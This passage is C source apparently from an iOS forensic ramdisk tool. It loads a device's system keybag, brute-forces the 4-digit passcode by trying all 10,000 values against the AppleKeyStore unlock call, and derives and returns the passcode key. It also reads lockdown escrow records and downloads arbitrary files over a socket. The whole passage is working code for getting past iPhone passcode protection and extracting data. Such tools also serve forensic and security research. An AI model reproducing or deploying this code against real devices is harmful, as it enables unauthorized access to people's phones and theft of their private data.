18 | char* bruteforceWithAppleKeyStore(CFDataRef kbkeys, int (*callback)(void*,int), void* ctx)
19 | {
20 | uint64_t keybag_id = 0;
21 | int i;
22 |
23 | char* passcode = (char*) malloc(5);
24 | memset(passcode, 0, 5);
25 |
26 | AppleKeyStoreKeyBagInit();
27 | AppleKeyStoreKeyBagCreateWithData(kbkeys, &keybag_id);
28 | //printf("keybag id=%x\n", (uint32_t) keybag_id);
29 | AppleKeyStoreKeyBagSetSystem(keybag_id);
30 |
31 | CFDataRef data = CFDataCreateWithBytesNoCopy(0, (const UInt8*) passcode, 4, NULL);
32 |
33 | io_connect_t conn = IOKit_getConnect("AppleKeyStore");
34 |
35 | if (!AppleKeyStoreUnlockDevice(conn, data))
36 | {
37 | return passcode;
38 | }
39 |
40 | for(i=0; i < 10000; i++)
41 | {
42 | sprintf(passcode, "%04d", i);
43 | if (callback != NULL && !(i % 100))
44 | {
45 | if (callback(ctx, i) == -1)
46 | {
47 | printf("Bruteforce abort\n");
48 | break;
49 | }
50 | }
51 | if (!AppleKeyStoreUnlockDevice(conn, data))
52 | {
53 | return passcode;
54 | }
55 | }
56 | free(passcode);
57 | return NULL;
58 | }
59 |
60 | CFDictionaryRef load_system_keybag(int socket, CFDictionaryRef dict)
61 | {
62 | CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag");
63 |
64 | if (kbdict == NULL)
65 | {
66 | mountDataPartition("/mnt2");
67 |
68 | kbdict = AppleKeyStore_loadKeyBag("/mnt2/keybags","systembag");
69 | if (kbdict == NULL)
70 | {
71 | printf("FAILed to load keybag\n");
72 | return NULL;
73 | }
74 | }
75 | return kbdict;
76 | }
77 |
78 | CFDictionaryRef bruteforce_system_keybag(int socket, CFDictionaryRef dict)
79 | {
80 | uint8_t passcodeKey[32];
81 |
82 | CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys"));
83 | if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID())
84 | return NULL;
85 |
86 | char* passcode = bruteforceWithAppleKeyStore(kbkeys, bruteforceProgressCallback, (void*) socket);
87 |
88 | if (passcode == NULL)
89 | return NULL;
90 |
91 | KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
92 | if (kb == NULL)
93 | {
94 | printf("FAIL: AppleKeyStore_parseBinaryKeyBag\n");
95 | return NULL;
96 | }
97 | AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey);
98 |
99 | free(kb);
100 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
101 | CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII);
102 | CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
103 | CFRelease(cfpasscode);
104 |
105 | addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
106 | return out;
107 | }
108 |
109 | CFDictionaryRef keybag_get_passcode_key(int socket, CFDictionaryRef dict)
110 | {
111 | uint8_t passcodeKey[32];
112 | CFDataRef passcode_cfdata = NULL;
113 |
114 | CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys"));
115 | if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID())
116 | return NULL;
117 |
118 | KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
119 | if (kb == NULL)
120 | return NULL;
121 |
122 | CFTypeRef cfpasscode = CFDictionaryGetValue(dict, CFSTR("passcode"));
123 |
124 | if(cfpasscode == NULL)
125 | return NULL;
126 | if(CFGetTypeID(cfpasscode) == CFDataGetTypeID())
127 | {
128 | passcode_cfdata = cfpasscode;
129 | }
130 | else if(CFGetTypeID(cfpasscode) == CFStringGetTypeID())
131 | {
132 | passcode_cfdata = CFStringCreateExternalRepresentation(kCFAllocatorDefault, cfpasscode, kCFStringEncodingUTF8, 0);
133 | }
134 | else
135 | return NULL;
136 |
137 | AppleKeyStore_getPasscodeKey(kb,
138 | CFDataGetBytePtr(passcode_cfdata),
139 | CFDataGetLength(passcode_cfdata),
140 | passcodeKey);
141 | free(kb);
142 |
143 | if (passcode_cfdata != cfpasscode)
144 | CFRelease(passcode_cfdata);
145 |
146 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
147 | CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
148 | addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
149 | return out;
150 | }
151 |
152 | CFDictionaryRef get_escrow_record(int socket, CFDictionaryRef dict)
153 | {
154 | CFStringRef hostid = CFDictionaryGetValue(dict, CFSTR("HostID"));
155 | if(hostid == NULL || CFGetTypeID(hostid) != CFStringGetTypeID())
156 | return NULL;
157 |
158 | //TODO: check return values...
159 | CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/mnt2/root/Library/Lockdown/escrow_records/%@.plist"), hostid);
160 | //CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/private/var/root/Library/Lockdown/escrow_records/%@.plist"), hostid);
161 |
162 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE);
163 | CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL);
164 | CFReadStreamOpen(stream);
165 | CFPropertyListRef plist = CFPropertyListCreateWithStream(kCFAllocatorDefault,
166 | stream, 0, kCFPropertyListImmutable, NULL, NULL);
167 |
168 | CFRelease(fileURL);
169 | CFRelease(stream);
170 | CFRelease(path);
171 | return plist;
172 | }
173 |
174 | CFDictionaryRef download_file(int socket, CFDictionaryRef dict)
175 | {
176 | UInt8 buffer[8192];
177 | CFIndex bytesRead;
178 |
179 | CFStringRef path = CFDictionaryGetValue(dict, CFSTR("Path"));
180 | if(path == NULL || CFGetTypeID(path) != CFStringGetTypeID())
181 | return NULL;
182 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
183 |
184 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE);
185 | CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL);
186 | CFRelease(fileURL);
187 | if(!CFReadStreamOpen(stream))
188 | {
189 | CFErrorRef error = CFReadStreamCopyError(stream);
190 | if (error != NULL)
191 | {
192 | CFStringRef errorDesc = CFErrorCopyDescription(error);
193 | CFDictionaryAddValue(out, CFSTR("Error"), errorDesc);
194 | CFRelease(errorDesc);
195 | CFRelease(error);
196 | }
197 | CFRelease(stream);
198 | return out;
199 | }
200 | CFMutableDataRef data = CFDataCreateMutable(kCFAllocatorDefault, 0);
201 |
202 | while(CFReadStreamHasBytesAvailable(stream))
203 | {
204 | if((bytesRead = CFReadStreamRead(stream, buffer, 8192)) <= 0)
205 | break;
206 | CFDataAppendBytes(data, buffer, bytesRead);
207 | }
208 | CFReadStreamClose(stream);
209 | CFRelease(stream);
210 |
211 | CFDictionaryAddValue(out, CFSTR("Data"), data);
212 | CFRelease(data);
213 |
214 | return out;
215 | }
--------------------------------------------------------------------------------